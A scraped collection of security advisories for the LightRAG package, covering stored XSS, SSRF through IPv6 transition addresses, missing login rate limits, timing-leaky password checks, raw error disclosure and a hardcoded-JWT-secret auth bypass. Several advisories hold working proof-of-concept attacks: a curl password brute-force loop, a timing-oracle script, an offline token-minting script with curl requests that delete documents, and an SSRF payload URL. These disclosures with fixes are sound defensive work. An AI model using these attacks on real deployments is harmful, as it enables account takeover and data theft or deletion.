Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


